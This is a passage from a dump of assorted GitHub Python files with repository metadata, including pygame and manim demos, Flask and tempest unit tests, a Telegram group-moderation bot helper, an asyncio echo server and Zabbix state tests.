nickname\n self.race = race\n self.charClass = charClass\n self.maxHp = health\n self.hp = health\n self.maxStm = 100\n self.stm = 100\n self.dmg = attack\n self.range = atkRange\n self.combat = False\n for i in moves:\n j = i\n setattr(self, i.id, lambda:i.attack(self, j, 'target'))\n def show(self):\n print(self.name,'('+self.nick+')')\n print(self.race+',',self.charClass)\n print('HP:',self.hp,'/',self.maxHp)\n print('Stamina:',self.stm,'/',self.maxStm)\n print('Damage:',self.dmg)\n print('Range:',self.range)\n def attack(self, weapon, target):\n print(self.nick,'used',weapon.name,'on',target.nick)\n target.hp -= weapon.damage\n self.stm -= weapon.stamina\nclass weapon:\n def __init__(self, id, name, type, damage, dType, stamina):\n self.id = id\n self.name = name\n self.type = type\n self.damage = damage\n self.type = dType\n self.stamina = stamina\nelvenBlade = weapon('elvenBlade', 'Elven Blade', 'sword', 20, 'Normal', 10)\nelvenBow = weapon('elvenBow', 'Elven Bow', 'bow', 10, 'Projectile', 20)\nthievesKnife = weapon('thievesKnife', 'Thieve\\'s Knive', 'dagger', 5, 'Normal', 3)\n\njulian = adventurer('Hawk Feather', 'Tabaxi', 'Rogue', 81, 6, 10, [elvenBlade, elvenBow, thievesKnife], 'Hawk')\nexAdvent = adventurer('Aragorn', 'Wood Elf', 'Druid', 94, 3, 30, [elvenBlade, elvenBow, thievesKnife])\nprint('-')\njulian.show()\nprint('-')\nexAdvent.show()\nprint('-')\njulian.attack(elvenBow, exAdvent)\nworld = [[' ']*8]*8\nprint('-')\njulian.show()\nprint('-')\nexAdvent.show()\nprint('-')\n","repo_name":"McMonkey26/solid-octo-train","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35451140758","text":"import pygame, sys, random\r\nfrom pygame.locals import *\r\n\r\n# set up pygame\r\npygame.init()\r\nmainClock = pygame.time.Clock()\r\n\r\n# set up the window\r\nWINDOWWIDTH = 400\r\nWINDOWHEIGHT = 400\r\nwindowSurface = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT), 0, 32)\r\npygame.display.set_caption('Input')\r\n\r\n# set up the colors\r\nBLACK = (0, 0, 0)\r\nGREEN = (0, 255, 0)\r\nWHITE = (255, 255, 255)\r\n\r\n\r\n# set up movement variables\r\nmoveLeft = False\r\nmoveRight = False\r\nmoveUp = False\r\nmoveDown = False\r\n\r\nMOVESPEED = 6\r\n\r\nplayer = pygame.draw.rect(windowSurface, WHITE, (100,0,100,100))\r\n\r\nrunning = True\r\n# run the game loop\r\nwhile running:\r\n # check for events\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n running = False\r\n pygame.quit()\r\n sys.exit()\r\n if event.type == KEYDOWN:\r\n # change the keyboard variables\r\n if event.key == K_LEFT or event.key == ord('a'):\r\n moveRight = False\r\n moveLeft = True\r\n if event.key == K_RIGHT or event.key == ord('d'):\r\n moveLeft = False\r\n moveRight = True\r\n if event.key == K_UP or event.key == ord('w'):\r\n moveDown = False\r\n moveUp = True\r\n if event.key == K_DOWN or event.key == ord('s'):\r\n moveUp = False\r\n moveDown = True\r\n if event.type == KEYUP:\r\n if event.key == K_ESCAPE:\r\n pygame.quit()\r\n sys.exit()\r\n if event.key == K_LEFT or event.key == ord('a'):\r\n moveLeft = False\r\n if event.key == K_RIGHT or event.key == ord('d'):\r\n moveRight = False\r\n if event.key == K_UP or event.key == ord('w'):\r\n moveUp = False\r\n if event.key == K_DOWN or event.key == ord('s'):\r\n moveDown = False\r\n if event.key == ord('x'):\r\n player.top = random.randint(0, WINDOWHEIGHT - player.height)\r\n player.left = random.randint(0, WINDOWWIDTH - player.width)\r\n\r\n \r\n # draw the black background onto the surface\r\n windowSurface.fill(BLACK)\r\n\r\n # move the player\r\n if moveDown and player.bottom < WINDOWHEIGHT:\r\n player.top += MOVESPEED\r\n if moveUp and player.top > 0:\r\n player.top -= MOVESPEED\r\n if moveLeft and player.left > 0:\r\n player.left -= MOVESPEED\r\n if moveRight and player.right < WINDOWWIDTH:\r\n player.right += MOVESPEED\r\n\r\n # draw the player onto the surface\r\n pygame.draw.rect(windowSurface, WHITE, player)\r\n\r\n # draw the window onto the screen\r\n pygame.display.update()\r\n mainClock.tick(40)\r\npygame.quit()\r\n","repo_name":"lvanderlyn/VideoGame","sub_path":"pygameInput.py","file_name":"pygameInput.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21760592893","text":"import os\n\n\ndef get_langs(dir_path: str = \"data\"):\n tmp_files_op = os.listdir(dir_path)\n res = []\n for i in tmp_files_op:\n if os.path.isdir(dir_path + \"/\" + i):\n res.append(i)\n return res\n\n\ndef get_file_names(lang_list: list, dir_path: str = \"data\"):\n res = []\n for dir_lang in lang_list:\n tmp_path = dir_path + \"/\" + dir_lang\n tmp_files_op = os.listdir(tmp_path)\n for file_in in tmp_files_op:\n tmp_path_file = tmp_path + \"/\" + file_in\n if os.path.isfile(tmp_path_file):\n res.append([dir_lang, tmp_path_file])\n return res\n","repo_name":"s22885/PJATK-NAI-MP3_slnn","sub_path":"data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4732607884","text":"import sys\nimport pprint\nfrom collections import defaultdict\n\ntext = input('Write a text: ')\n\nALPHABET = 'abcdefghijklmnopqrstuvwxyz'\n\n# defaultdict module lets you build dictionary keys on the fly!\nmapped = defaultdict(list)\n\nfor character in text:\n character = character.lower()\n if character in ALPHABET:\n mapped[character].append(character)\n\n# pprint lets you print stacked output\nprint(\"\\nYou may need to stretch console window if text wrapping occurs.\\n\")\nprint(\"text = \", end='')\nprint(\"{}\\n\".format(text), file=sys.stderr)\npprint.pprint(mapped, width=110)","repo_name":"noctor1zed/Project1_SillyName","sub_path":"PoorBarChart.py","file_name":"PoorBarChart.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1159273621","text":"import os\nimport unittest\nimport json\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom flaskr import create_app\nfrom models import setup_db, Question, Category\n\n\nclass TriviaTestCase(unittest.TestCase):\n \"\"\"This class represents the trivia test case\"\"\"\n\n def setUp(self):\n \"\"\"Define test variables and initialize app.\"\"\"\n self.app = create_app()\n self.client = self.app.test_client\n self.database_user = \"student\"\n self.database_passw = \"student\"\n self.database_name = \"trivia_test\"\n self.database_path = \"postgresql+psycopg2://{}:{}@{}/{}\".format(\n self.database_user, self.database_passw,\n 'localhost:5432', self.database_name)\n setup_db(self.app, self.database_path)\n\n # question dict for testing create new question API\n self.new_question = {\n \"question\": \"Who is Chelsea's most prolific striker?\",\n \"answer\": \"Didier Drogba\",\n \"category\": 6,\n \"difficulty\": 2\n }\n\n # binds the app to the current context\n with self.app.app_context():\n self.db = SQLAlchemy()\n self.db.init_app(self.app)\n # create all tables\n self.db.create_all()\n\n def tearDown(self):\n \"\"\"Executed after reach test\"\"\"\n pass\n\n # test for GET categories API\n def test_get_categories(self):\n res = self.client().get('/trivia/categories')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data[\"success\"], True)\n self.assertTrue(data[\"total_categories\"])\n self.assertTrue(len(data[\"categories\"]))\n\n # test for GET questions API\n def test_paginated_questions(self):\n res = self.client().get(\"/trivia/questions\")\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data[\"success\"], True)\n self.assertTrue(data[\"total_questions\"])\n self.assertTrue(len(data[\"questions\"]))\n\n # Negative test for getting questions of page that does not exist\n def test_404_get_invalid_page(self):\n res = self.client().get(\"/trivia/questions?page=1000\")\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data[\"success\"], False)\n self.assertEqual(data[\"message\"], \"resource not found\")\n\n # test for DELETE question API\n def test_delete_question(self):\n res = self.client().delete(\"/trivia/questions/2\")\n data = json.loads(res.data)\n\n question = Question.query.filter(Question.id == 1).one_or_none()\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertEqual(data['deleted'], 2)\n self.assertTrue(data['total_questions'])\n self.assertTrue(len(data['questions']))\n self.assertEqual(question, None)\n\n # Negative test for deleting question that does not exist\n def test_404_delete_inexistent_question(self):\n res = self.client(). delete('/trivia/questions/1000')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'resource not found')\n\n # Test for creating a new question\n def test_new_question(self):\n res = self.client().post('/trivia/questions', json=self.new_question)\n data = json.loads(res.data)\n pass\n # Negative test for creating new question\n # def test_422_new_question_fails(self):\n # res = self.client().post('/trivia/questions', json=self.new_question)\n # data = json.loads(res.data)\n # pass\n\n # Test for successful SEARCH question API\n def test_get_search_question(self):\n res = self.client().post('/trivia/questions/search?search=Taj')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertEqual(data['total_questions'], 1)\n\n # Test for SEARCH API using invalid search term\n def test_search_question_no_results(self):\n res = self.client().post('/trivia/questions/search?search=asdfg')\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['total_questions'], 0)\n self.assertEqual(data['success'], True)\n\n # Test for fetching questions using category_id\n def test_get_questions_by_category(self):\n res = self.client().get('/trivia/categories/4/questions')\n data = json.loads(res.data)\n\n self.assertEqual(data['success'], True)\n self.assertEqual(data['total_questions'], 4)\n self.assertEqual(data['current_category'], 4)\n\n # Negative Test for getting questions for category_id that does not exist\n def test_404_invalid_category_fetched(self):\n res = self.client().get('/trivia/categories/1000/questions')\n data = json.loads(res.data)\n\n self.assertEqual(data['error'], 404)\n self.assertEqual(data['message'], 'resource not found')\n self.assertEqual(data['success'], False)\n\n # Test for playing quiz and fetching random questions\n def test_get_quiz_questions(self):\n quiz = {\n 'previous_questions': [],\n 'quiz_category': {\n 'type': 'sports',\n 'id': '6'\n }\n }\n res = self.client().post('/trivia/play', json=quiz)\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n\n def test_422_quiz_questions(self):\n res = self.client().post('/trivia/play', json={})\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 422)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'unprocessable')\n\n\n# Make the tests conveniently executable\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"kyalo-vibes/trivia","sub_path":"backend/test_flaskr.py","file_name":"test_flaskr.py","file_ext":"py","file_size_in_byte":6007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"38407531461","text":"from typing import Iterable, Union\nfrom datasets import concatenate_datasets, load_dataset\nfrom torch.utils.data import Dataset\n\nPROMPT_TEMPLATE = \"\"\"{prompt}\n\nTests to pass:\n### START TEST CODE\n{test_code}\n### END TEST CODE\n\"\"\"\n\n\ndef prep_prompt(\n prompt: str,\n test_imports: str,\n test_list: str,\n template: str = PROMPT_TEMPLATE,\n) -> str:\n test_code = \"\\n\".join(test_imports + test_list)\n return template.format(prompt=prompt, test_code=test_code)\n\n\nclass MBPPDataset(Dataset):\n \"\"\"Creates a PyTorch Dataset for the MBPP dataset. Uses only the sanitized\n version of the dataset.\n\n See: https://huggingface.co/datasets/mbpp\n \"\"\"\n\n def __init__(self):\n mbpp = load_dataset(\"mbpp\", name=\"sanitized\")\n\n self.prompting = mbpp[\"prompt\"] # type: ignore\n self.dataset = concatenate_datasets(\n [mbpp[\"train\"], mbpp[\"test\"], mbpp[\"validation\"]] # type: ignore\n )\n\n def __len__(self) -> int:\n \"\"\"Returns the number of rows in the dataset.\"\"\"\n return self.dataset.num_rows\n\n def __getitem__(\n self, key: Union[int, Iterable[int], slice]\n ) -> Union[tuple[str, list[str]], tuple[str, list[str]]]:\n \"\"\"\n Returns a tuple containing:\n prompt (str | list[str]): problem text prompt with test code\n test_code (str | list[str]): only test code, runnable with exec()\n \"\"\"\n datasubset = self.dataset[key]\n\n if isinstance(key, int):\n prompt = prep_prompt(\n datasubset[\"prompt\"],\n datasubset[\"test_imports\"],\n datasubset[\"test_list\"],\n )\n test_code = \"\\n\".join(datasubset[\"test_imports\"] + datasubset[\"test_list\"])\n else:\n zipped_datasubset = zip(\n datasubset[\"prompt\"],\n datasubset[\"test_imports\"],\n datasubset[\"test_list\"],\n )\n prompt, test_code = [], []\n for p, ti, tl in zipped_datasubset:\n prompt.append(prep_prompt(p, ti, tl))\n test_code.append(\"\\n\".join(ti + tl))\n\n return (prompt, test_code) # type: ignore\n","repo_name":"jmsdao/pik","sub_path":"src/pik/datasets/mbpp/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"75145964411","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom tempest.lib import decorators\n\nfrom senlin_tempest_plugin.common import utils\nfrom senlin_tempest_plugin.tests.api import base\n\n\nclass TestReceiverDelete(base.BaseSenlinAPITest):\n\n def setUp(self):\n super(TestReceiverDelete, self).setUp()\n profile_id = utils.create_a_profile(self)\n self.addCleanup(utils.delete_a_profile, self, profile_id)\n\n cluster_id = utils.create_a_cluster(self, profile_id)\n self.addCleanup(utils.delete_a_cluster, self, cluster_id)\n\n self.receiver_id = utils.create_a_receiver(self, cluster_id,\n 'CLUSTER_RESIZE')\n\n @decorators.idempotent_id('c67cf6c3-2339-4f10-9631-fb7e9f47170f')\n def test_receiver_delete(self):\n # Verify resp of receiver delete API\n res = self.client.delete_obj('receivers', self.receiver_id)\n self.assertEqual(204, res['status'])\n self.assertIsNone(res['body'])\n","repo_name":"openstack/senlin-tempest-plugin","sub_path":"senlin_tempest_plugin/tests/api/receivers/test_receiver_delete.py","file_name":"test_receiver_delete.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"38927441280","text":"def solution(cards1, cards2, goal):\n idx1, idx2 = 0, 0\n \n for word in goal:\n if len(cards1) > idx1 and word == cards1[idx1]:\n idx1 += 1\n elif len(cards2) > idx2 and word == cards2[idx2]:\n idx2 += 1\n else:\n return 'No'\n \n return 'Yes'\n ","repo_name":"gangjoohyeong/Algorithm","sub_path":"프로그래머스/unrated/159994. 카드 뭉치/카드 뭉치.py","file_name":"카드 뭉치.py","file_ext":"py","file_size_in_byte":323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"69853746492","text":"from battle_city.connection import PlayerConnection\nfrom asynctest.mock import CoroutineMock, call\n\nimport pytest\n\n\n@pytest.mark.asyncio\nasync def test_client_write_small_message():\n writer = CoroutineMock()\n writer.drain = CoroutineMock()\n connection = PlayerConnection(reader=None, writer=writer)\n await connection.write({'test': 'test'})\n\n assert writer.method_calls == [\n call.write(b'{\"test\": \"test\"}'),\n call.write(b'\\n'),\n call.drain(),\n ]\n","repo_name":"firemark/battle-city-ai","sub_path":"tests/test_connection.py","file_name":"test_connection.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"4393014084","text":"# (C) Arunkumar Shibu \n\n# January 15th 2022\n\nimport asyncio\nfrom info import DB_CHANNEL, FSUB_CHANNEL, CHANNEL_LINK, LIST\nfrom pyrogram.errors import FloodWait, UserNotParticipant\nfrom pyrogram.types import ChatPermissions, InlineKeyboardMarkup, InlineKeyboardButton\n\nasync def copy_msg(msg):\n file = msg.document or msg.video\n if file.file_name.split(\".\")[-1] in LIST: \n return\n else:\n try:\n await msg.copy(DB_CHANNEL)\n except FloodWait as e:\n await asyncio.sleep(e.x)\n await msg.copy(DB_CHANNEL)\n\nasync def force_sub(bot, msg): \n if msg.from_user is None:\n return \n try:\n member = await bot.get_chat_member(FSUB_CHANNEL, msg.from_user.id)\n if member.status == \"banned\":\n await msg.reply(f\"Sorry {msg.from_user.mention}!\\n You are banned in our channel, you will be banned from here within 10 seconds\")\n await asyncio.sleep(10)\n await bot.ban_chat_member(msg.chat.id, msg.from_user.id)\n except UserNotParticipant:\n await bot.restrict_chat_member(chat_id=msg.chat.id, \n user_id=msg.from_user.id,\n permissions=ChatPermissions(can_send_messages=False)\n )\n await msg.reply(f\"Hello {msg.from_user.mention}!\\n\\nYou have to join in our channel to message here\", \n reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(\"🔥 Join Channel 🔥\", url=CHANNEL_LINK)],\n [InlineKeyboardButton(\"♻️ Try Again ♻️\", callback_data=f\"checksub_{msg.from_user.id}\")]])\n )\n except Exception as e:\n print(e)\n\nasync def auto_delete(Bot, msg):\n chat, msg_id = msg.chat.id, msg.message_id\n try: \n await asyncio.sleep(600) # not tested, edit if you need\n await Bot.delete_messages(chat, msg_id)\n except Exception as e:\n print(e)\n\nasync def check_fsub(bot, update):\n user = int(update.data.split(\"_\")[-1])\n if update.from_user.id==user:\n try:\n member = await bot.get_chat_member(FSUB_CHANNEL, user) \n except UserNotParticipant:\n await update.answer(\"I like your smartness..\\nBut don't be over smart 🤭\", show_alert=True) # @subinps 😁\n except Exception as e:\n print(e)\n else:\n await bot.restrict_chat_member(chat_id=update.message.chat.id, \n user_id=user,\n permissions=ChatPermissions(can_send_messages=True,\n can_send_media_messages=True,\n can_send_other_messages=True)\n )\n await update.message.edit(f\"Hello {update.from_user.mention}!\\nWelcome to {update.message.chat.title}\")\n else:\n await update.answer(\"That's not for you bruh 😂\", show_alert=True)\n \n\n","repo_name":"arun017s/Backup-ForceSub","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3088,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"} +{"seq_id":"42334272475","text":"from pylinked.c_linked import PyIntNode\n\nimport unittest\n\n\nclass TestPyIntNode(unittest.TestCase):\n def test_class_instantiation(self):\n node = PyIntNode(1)\n self.assertIsInstance(node, PyIntNode)\n\n def test_class_raises_exception_on_value_not_int(self):\n with self.assertRaises(TypeError):\n node = PyIntNode('Error')\n\n def test_next_raises_stop_iteration(self):\n node = PyIntNode(1)\n\n self.assertEqual(next(node), 1)\n\n with self.assertRaises(StopIteration):\n next(node)\n\n def test_has_next(self):\n node = PyIntNode(1)\n self.assertFalse(node.has_next())\n\n node.add(2)\n\n self.assertTrue(node.has_next())\n\n def test_next(self):\n node = PyIntNode(1)\n node.add(2)\n node.add(3)\n\n self.assertEqual(next(node), 3)\n self.assertEqual(next(node), 2)\n self.assertEqual(next(node), 1)\n\n def test_add(self):\n node = PyIntNode(1)\n node.add(2)\n\n self.assertEqual(next(node), 2)\n\n def test_pop(self):\n node = PyIntNode(1)\n node.add(2)\n\n self.assertEqual(next(node), 2)\n\n node.pop()\n with self.assertRaises(StopIteration):\n self.assertIsNone(next(node))\n\n def test_remove(self):\n node = PyIntNode(1)\n node.add(2)\n node.add(3)\n\n node.remove(2)\n \n condition = False\n while node.has_next():\n if next(node) == 2:\n condition = True\n\n self.assertFalse(condition)\n\n def test_iter(self):\n node = PyIntNode(1)\n node.add(2)\n node.add(3)\n\n\n for i, n in enumerate(reversed(list(node))):\n self.assertEqual(n, i + 1)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"HideyoshiNakazone/Cython-LinkedList","sub_path":"tests/c_linked/test_py_int_node.py","file_name":"test_py_int_node.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"22539971973","text":"import json\nimport requests\nfrom django.core.management.base import BaseCommand\nimport time\nfrom bsite.services.bpay_api import bpay_api_get_currencies, bpay_api_get_exchange_currencies, \\\n bpay_api_update_exchange_currencies\nfrom bsite.utils import list_search\nfrom config.constants import BINANCE_API_URL\nfrom datetime import datetime\n\n\nclass Command(BaseCommand):\n help = 'Update Rates'\n\n def handle(self, *args, **options):\n currencies = bpay_api_get_currencies()\n exchange_currencies = bpay_api_get_exchange_currencies()\n for exchange_currency in exchange_currencies:\n exchange_from = list_search('id', exchange_currency['exchange_from'], currencies)\n exchange_to = list_search('id', exchange_currency['exchange_to'], currencies)\n response = json.loads(requests.get(\n BINANCE_API_URL + '?symbol=' + exchange_from['symbol'] + exchange_to[\n 'symbol']).text)\n if 'code' in response:\n time.sleep(1)\n response = json.loads(requests.get(\n BINANCE_API_URL + '?symbol=' + exchange_to['symbol'] + exchange_from[\n 'symbol']).text)\n now = datetime.now()\n\n json_data = {\n 'value_currency': int(float(response['price'])),\n 'created_at': now.strftime('%Y-%m-%dT%H:%M:%S.%f%z')\n }\n bpay_api_update_exchange_currencies(exchange_currency['id'], json_data)\n time.sleep(1)\n self.stdout.write(self.style.SUCCESS(\"Done\"))\n","repo_name":"ASEPTICUM/kity-site","sub_path":"bsite/management/commands/currency_rate_update.py","file_name":"currency_rate_update.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"13347779291","text":"from manimlib.imports import *\nimport numpy as np\nclass TutorialShapes(Scene):\n def construct(self):\n line = Line(LEFT,ORIGIN)\n dot = Dot(ORIGIN,buff = 0.1) #buffer\n circle = Circle()\n square = Square()\n square.move_to(LEFT)\n rectangle = Rectangle()\n rectangle.set_width(2)\n rectangle.set_height(1)\n polygon = Polygon(np.array((-1.,0.,0.)),np.array((1.,0.,0.)),np.array((2.,1.,0.)),np.array((1.,1.,0.)))\n arc = Arc(0,PI/2).scale(2)\n arrow = Arrow().scale(1.5)\n vector = Vector().scale(1.5)\n vector.move_to(DR)\n doubleArrow = DoubleArrow().scale(1.5)\n doubleArrow.move_to(UR)\n tex=TexMobject(\"\\\\frac{d}{dx}f(x)g(x)\").set_color(RED)\n tex.move_to(UP)\n text = TextMobject(\"Hello\")\n text.move_to(DOWN)\n self.add(line)\n self.add(dot)\n self.add(circle)\n self.add(square)\n self.add(rectangle)\n self.add(polygon)\n self.add(arc)\n self.add(arrow)\n self.add(vector)\n self.add(doubleArrow)\n self.add(tex)\n self.add(text)\n\nclass MyScene(Scene):\n def construct(self):\n pass","repo_name":"saturnman/manim_turorial","sub_path":"tutorial1/ManimTutorial1.py","file_name":"ManimTutorial1.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"78"} +{"seq_id":"19138577324","text":"import asyncio\n\nclass EchoServierClientPortocol(asyncio.Protocol):\n def connection_made(self, transport):\n peername = transport.get_extra_info('peername')\n print('Connection from {}'.format(peername))\n self.transport = transport\n \n def connection_lost(self, exc):\n \n print('Connection from {} is lost'.format(exc))\n\n def data_received(self, data):\n # data includes everything like header, request type, url etc\n message = data.decode()\n print('Data received: {!r}'.format(message))\n # self.transport.write(('\\nwocao123123123123123123\\n').encode()) no \\n then no output\n self.transport.write(('Echoed back: {}'.format(message)).encode())\n # close the transport after the data is sent back to client\n print('Close the client socket')\n self.transport.close()\n\n\nloop = asyncio.get_event_loop()\n# it only initiates the process of creating the server asynchronously, and returns a coroutine that will finish the process.\ncoro = loop.create_server(EchoServierClientPortocol, '127.0.0.1', 8888)\n# run the coroutine, create server. The return value is a Server object which can be used to stop the service.\nserver = loop.run_until_complete(coro)\n\n# Serve requests until Ctrl+C is pressed\nprint('Serving on {}'.format(server.sockets[0].getsockname()))\ntry:\n loop.run_forever()\nexcept KeyboardInterrupt:\n pass\n# Close the server\nserver.close()\nloop.run_until_complete(server.wait_closed())\nloop.close() ","repo_name":"wayne676/Python_Concurrency_Notes","sub_path":"page212_aysnc_server.py","file_name":"page212_aysnc_server.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12855162344","text":"\"\"\"\n :codeauthor: :email:`Jakub Sliva <jakub.sliva@ultimum.io>`\n\"\"\"\n\nimport pytest\n\nimport salt.states.zabbix_template as zabbix_template\nfrom tests.support.mock import MagicMock, patch\n\n\n@pytest.fixture\ndef defined_obj():\n return {\n \"macros\": [{\"macro\": \"{$CEPH_CLUSTER_NAME}\", \"value\": \"ceph\"}],\n \"host\": \"A Testing Template\",\n \"hosts\": [{\"hostid\": \"10112\"}, {\"hostid\": \"10113\"}],\n \"description\": \"Template for Ceph nodes\",\n \"groups\": [{\"groupid\": \"1\"}],\n }\n\n\n@pytest.fixture\ndef defined_c_list_subs():\n return {\n \"applications\": [{\"name\": \"Ceph OSD\"}],\n \"graphs\": [],\n \"triggers\": [],\n \"items\": [],\n \"httpTests\": [],\n \"screens\": [],\n \"gitems\": [],\n \"discoveries\": [],\n }\n\n\n@pytest.fixture\ndef substitute_params_create(defined_obj, defined_c_list_subs):\n return [\n defined_obj,\n [],\n defined_c_list_subs[\"applications\"],\n [],\n [],\n [],\n [],\n [],\n [],\n [],\n [],\n ]\n\n\n@pytest.fixture\ndef existing_obj():\n return [\n {\n \"available\": \"0\",\n \"tls_connect\": \"1\",\n \"maintenance_type\": \"0\",\n \"groups\": [{\"groupid\": \"1\"}],\n \"macros\": [\n {\n \"macro\": \"{$CEPH_CLUSTER_NAME}\",\n \"hostmacroid\": \"60\",\n \"hostid\": \"10206\",\n \"value\": \"ceph\",\n }\n ],\n \"hosts\": [{\"hostid\": \"10112\"}, {\"hostid\": \"10113\"}],\n \"status\": \"3\",\n \"description\": \"Template for Ceph nodes\",\n \"host\": \"A Testing Template\",\n \"disable_until\": \"0\",\n \"templateid\": \"10206\",\n \"name\": \"A Testing Template\",\n }\n ]\n\n\n@pytest.fixture\ndef substitute_params_exists(defined_obj, existing_obj):\n return [\n defined_obj,\n existing_obj[0],\n [],\n [],\n [],\n [],\n [],\n [],\n [],\n [],\n ]\n\n\n@pytest.fixture\ndef existing_obj_diff():\n return [\n {\n \"groups\": [{\"groupid\": \"1\"}],\n \"macros\": [\n {\n \"macro\": \"{$CEPH_CLUSTER_NAME}\",\n \"hostmacroid\": \"60\",\n \"hostid\": \"10206\",\n \"value\": \"ceph\",\n }\n ],\n \"hosts\": [{\"hostid\": \"10112\"}, {\"hostid\": \"10113\"}],\n \"status\": \"3\",\n \"templateid\": \"10206\",\n \"name\": \"A Testing Template\",\n }\n ]\n\n\n@pytest.fixture\ndef substitute_params_update(defined_obj, existing_obj_diff):\n return [\n defined_obj,\n existing_obj_diff[0],\n [],\n [],\n [],\n [],\n [],\n [],\n [],\n [],\n ]\n\n\n@pytest.fixture\ndef diff_params():\n return {\"old\": {}, \"new\": {\"macros\": [], \"templateid\": \"10206\"}}\n\n\n@pytest.fixture\ndef configure_loader_modules():\n return {zabbix_template: {}}\n\n\ndef test_present_create(substitute_params_create):\n \"\"\"\n Test to ensure that named template is created\n \"\"\"\n with patch(\"salt.states.zabbix_template.CHANGE_STACK\", []):\n name = \"A Testing Template\"\n ret = {\"name\": name, \"result\": False, \"comment\": \"\", \"changes\": {}}\n\n def side_effect_run_query(*args):\n \"\"\"\n Differentiate between __salt__ exec module function calls with different parameters.\n \"\"\"\n if args[0] in (\"template.get\", \"application.get\"):\n return []\n elif args[0] == \"template.create\":\n return {\"templateids\": [\"10206\"]}\n elif args[0] == \"application.create\":\n return {\"applicationids\": [\"701\"]}\n\n with patch.dict(zabbix_template.__opts__, {\"test\": False}):\n with patch.dict(\n zabbix_template.__salt__,\n {\n \"zabbix.get_zabbix_id_mapper\": MagicMock(\n return_value={\"template\": \"templateid\"}\n ),\n \"zabbix.substitute_params\": MagicMock(\n side_effect=substitute_params_create\n ),\n \"zabbix.run_query\": MagicMock(side_effect=side_effect_run_query),\n \"zabbix.compare_params\": MagicMock(return_value={}),\n },\n ):\n ret[\"result\"] = True\n ret[\"comment\"] = 'Zabbix Template \"{}\" created.'.format(name)\n ret[\"changes\"] = {\n name: {\n \"old\": 'Zabbix Template \"{}\" did not exist.'.format(name),\n \"new\": (\n 'Zabbix Template \"{}\" created according definition.'.format(\n name\n )\n ),\n }\n }\n assert zabbix_template.present(name, {}) == ret\n\n\ndef test_present_exists(existing_obj, substitute_params_exists):\n \"\"\"\n Test to ensure that named template is present and not changed\n \"\"\"\n with patch(\"salt.states.zabbix_template.CHANGE_STACK\", []):\n name = \"A Testing Template\"\n ret = {\"name\": name, \"result\": False, \"comment\": \"\", \"changes\": {}}\n\n def side_effect_run_query(*args):\n \"\"\"\n Differentiate between __salt__ exec module function calls with different parameters.\n \"\"\"\n if args[0] == \"template.get\":\n return existing_obj\n elif args[0] == \"application.get\":\n return [\"non-empty\"]\n\n with patch.dict(zabbix_template.__opts__, {\"test\": False}):\n with patch.dict(\n zabbix_template.__salt__,\n {\n \"zabbix.get_zabbix_id_mapper\": MagicMock(\n return_value={\"template\": \"templateid\"}\n ),\n \"zabbix.substitute_params\": MagicMock(\n side_effect=substitute_params_exists\n ),\n \"zabbix.run_query\": MagicMock(side_effect=side_effect_run_query),\n \"zabbix.compare_params\": 